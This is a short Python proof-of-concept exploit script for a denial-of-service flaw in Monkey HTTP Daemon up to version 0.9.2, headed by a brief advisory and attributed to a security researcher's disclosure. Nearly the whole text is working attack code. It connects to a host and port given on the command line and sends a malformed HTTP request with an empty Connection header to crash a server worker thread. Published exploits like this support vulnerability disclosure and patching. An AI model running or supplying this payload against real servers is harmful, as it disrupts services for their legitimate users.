#Monkey HTTP Daemon is prone to a denial-of-service vulnerability.
#Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users.
#Versions prior to Monkey HTTP Daemon 0.9.3 are vulnerable.
#!/usr/bin/env python
# monkeyex.py -- Patroklos Argyroudis, argp at domain census-labs.com
#
# Denial of service exploit for Monkey web server version <= 0.9.2:
#
# http://census-labs.com/news/2009/12/14/monkey-httpd/
import os
import sys
import socket
GET = "GET / "
def main(argv):
argc = len(argv)
if argc != 3:
print "usage: %s <host> <port>" % (argv[0])
sys.exit(0)
host = argv[1]
port = int(argv[2])
print "[*] target: %s:%d" % (host, port)
payload = GET
payload += "HTTP/1.1\r\nConnection:\n\r\n\r\n";
print "[*] payload: %s" % (payload)
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect((host, port))
print "[*] attempting to crash one Monkey worker thread.."
sd.send(payload)
sd.close()
if __name__ == "__main__":
main(sys.argv)
sys.exit(0)
# EOF
